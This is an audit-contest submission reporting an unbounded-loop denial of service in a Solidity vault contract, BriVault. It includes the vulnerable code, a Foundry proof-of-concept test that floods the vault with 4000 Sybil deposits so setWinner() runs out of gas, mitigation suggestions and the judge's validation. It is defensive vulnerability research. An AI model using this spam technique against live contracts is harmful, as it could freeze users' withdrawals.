BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Unbounded iteration over usersAddress array in `BriVault::_getWinnerShares()` causes permanent Denial-of-Service (DoS), preventing winner finalization and blocking withdrawals

xcryptoguardian

Description:

The BriVault::_getWinnerShares() function loops through the entire usersAddress array to compute the total shares of users who selected the winning country:

// @audit DoS Attack
function _getWinnerShares() internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i) {
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}

This loop is unbounded, meaning its cost grows linearly with the number of participants.
The problem is that _getWinnerShares() is called inside setWinner(), which must succeed before withdrawals are allowed. If the number of participants becomes large (thousands+), this loop will exceed the block gas limit, causing setWinner() to always revert.
Since the vault relies on _setWinner == true before users can withdraw, this design allows a single attacker to force a permanent DoS simply by injecting a large number of entries into the vault.

Likelihood:

  • Reason 1: This issue occurs once the participants list grows large enough that iterating over usersAddress exceeds the block gas limit during setWinner(), making the function revert consistently.

  • Reason 2: This situation arises whenever an attacker (or organic user growth) submits a high number of deposits and joins the event repeatedly, since there is no cap or restriction on how many entries can be added.

Impact: Admin cannot call setWinner() once the participants list grows large → function becomes uncallable due to gas limit.
_setWinner never becomes true.
withdraw() requires winnerSet modifier:

modifier winnerSet() {
if (_setWinner != true) revert winnerNotSet();
_;
}

This directly leads to a High-severity Denial-of-Service where the contract cannot progress to the withdrawal phase, completely breaking core protocol functionality.

Proof of Concept:

Number of participants Gas used by setWinner()
~1000 users ≈ 0.9 – 1.1 million gas
~2000 users ≈ 1.8 – 2.0 million gas
~3000 users ≈ 2.7 – 3.0 million gas
~4000 users ≈ 3.6 – 4.0 million gas
PoC Place the following test into `briVault.t.sol'.
function test_DoS_getWinnerShares() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
​
uint256 numUsers = 4000; // stable upper bound
uint256 stake = 0.001 ether;
​
for (uint256 i = 0; i < numUsers; i++) {
if (i % 1000 == 0) console.log("Loop index:", i);
​
address attackerWallet = address(uint160(i + 5000));
mockToken.mint(attackerWallet, stake);
​
vm.startPrank(attackerWallet);
mockToken.approve(address(briVault), stake);
briVault.deposit(stake, attackerWallet);
briVault.joinEvent(0);
vm.stopPrank();
}
​
vm.warp(eventEndDate + 1);
​
// Sweet spot where:
// - setWinner() starts
// - cannot finish 4000-loop
// - reverts due to OOG (DoS confirmed)
uint256 forcedGas = 3_000_000;
​
vm.prank(owner);
(bool success, ) = address(briVault).call{gas: forcedGas}(
abi.encodeWithSelector(briVault.setWinner.selector, 0)
);
​
console.log("Success (should be false):", success);
​
assertFalse(
success,
"Expected DoS: setWinner() should revert due to gas exhaustion"
);
}
// [PASS] test_DoS_getWinnerShares() (gas: 613550557)
// Logs:
// Loop index: 0
// Loop index: 1000
// Loop index: 2000
// Loop index: 3000
// Success (should be false): false
​

Recommended Mitigation:

There are a few recomendations.

  1. Impose participation limits / block Sybil spam, But this alone won’t fully solve scalability issues.

  2. Use a mapping countryId → totalShares

mapping(uint256 => uint256) public totalSharesByCountry;

  1. Use pull-based withdrawal math
    Every user computes their own proportional reward without global aggregation.

Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unbounded Loop in _getWinnerShares Causes Denial of Service

The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.

xcryptoguardian Submitter
21 days ago
bube Lead Judge 17 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unbounded Loop in _getWinnerShares Causes Denial of Service

The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!